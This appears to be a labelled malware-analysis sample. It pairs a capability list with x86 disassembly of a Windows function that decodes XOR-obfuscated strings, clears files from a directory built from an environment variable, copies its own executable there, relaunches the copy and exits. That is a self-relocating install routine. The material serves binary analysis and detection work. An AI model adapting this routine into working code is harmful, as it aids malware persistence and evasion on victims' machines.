Function at 0x4096b5
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Delete file
Encode data using xor
Enumerate files on windows
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ad4
call fcn.0040dcf0
movaps xmm0, xmmword [0x401a90]
push ebx
push esi
movups xmmword [ebp - 0x38], xmm0
xor ebx, ebx
mov esi, ecx
movaps xmm0, xmmword [0x4018f0]
mov eax, ebx
push edi
movups xmmword [ebp - 0x28], xmm0
xor byte [ebp + eax - 0x38], 0x55
inc eax
cmp eax, 0x1f
jb 0x4096e1
push 0x400
lea eax, [ebp - 0x12d0]
mov byte [ebp - 0x19], bl
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 6], 0x55552e
mov eax, ebx
xor byte [ebp + eax - 6], 0x55
inc eax
cmp eax, 3
jb 0x40970e
lea eax, [ebp - 6]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x880]
push eax
call esi
mov dword [ebp - 8], 0x55095528
mov eax, ebx
mov word [ebp - 4], 0x55
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 5
jb 0x40974c
lea eax, [ebp - 8]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x880]
push eax
call esi
lea eax, [ebp - 0x880]
lea edx, [ebp - 0x12d0]
push eax
mov ecx, edx
call fcn.00409e9f
lea ecx, [ebp - 0x880]
mov dword [esp], 0x800
call fcn.00406d67
add esp, 4
lea eax, [ebp - 0x12d0]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
call ebx
test eax, eax
jle 0x4097f1
lea eax, [esi + esi]
cmp word [ebp + eax - 0x12d0], 0x5c
jne 0x4097e3
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00406d88
pop ecx
lea ecx, [ebp - 0x880]
call fcn.00409dca
test eax, eax
jne 0x4097e3
push eax
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x12d0]
inc esi
push eax
call ebx
cmp esi, eax
jl 0x4097a5
xor ebx, ebx
mov dword [ebp - 0x14], 0x557b557f
mov dword [ebp - 0x10], 0x552d5530
mov eax, ebx
mov dword [ebp - 0xc], 0x555530
xor byte [ebp + eax - 0x14], 0x55
inc eax
cmp eax, 0xb
jb 0x40980a
lea eax, [ebp - 0x14]
mov byte [ebp - 9], bl
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x1ad0]
call fcn.00409e9f
pop ecx
lea eax, [ebp - 0xad0]
push eax
lea eax, [ebp - 0x1ad0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x409890
lea eax, [ebp - 0xaa4]
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00409e9f
pop ecx
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x4099ec
lea eax, [ebp - 0xad0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x409849
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x10], 0x552f5534
mov eax, ebx
mov dword [ebp - 0xc], 0x55550a
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 7
jb 0x4098a0
movaps xmm0, xmmword [0x401aa0]
mov eax, ebx
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0x5530557b
mov dword [ebp - 0x1e], 0x5530552d
mov word [ebp - 0x1a], 0x55
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x19
jb 0x4098cc
mov byte [ebp - 0x19], bl
mov edi, ebx
mov bx, word [ebp - 0xc]
cmp word [ebp - 0x32], bx
jne 0x409915
movzx eax, word [ebp - 0x10]
movzx esi, word [ebp - 0xe]
sub esi, eax
lea eax, [ebp - 0x32]
mov dword [ebp - 8], eax
mov ecx, esi
call fcn.00408423
add eax, dword [ebp - 0x10]
inc edi
mov ecx, dword [ebp - 8]
mov word [ecx], ax
lea eax, [ebp - 0x32]
lea eax, [eax + edi*2]
mov dword [ebp - 8], eax
cmp word [eax], bx
je 0x4098f6
lea eax, [ebp - 0x32]
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00409e9f
pop ecx
mov ecx, 0x10000
call fcn.00406d0f
mov esi, eax
test esi, esi
je 0x4099ec
push 0x8000
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4099e5
push ebx
lea eax, [ebp - 0x880]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x4099e5
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 8], 1
jle 0x409995
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [edi + eax*2]
add edi, 4
jmp 0x409997
mov edi, ebx
push 0x44
pop ebx
push ebx
lea ecx, [ebp - 0x80]
call fcn.00406d67
add esp, 4
lea ecx, [ebp - 0x18]
push 0x10
call fcn.00406d67
add esp, 4
mov dword [ebp - 0x80], ebx
mov eax, ecx
xor ebx, ebx
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4099e5
mov ecx, esi
call fcn.00406db4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, esi
call fcn.00406db4
pop edi
pop esi
pop ebx
leave
ret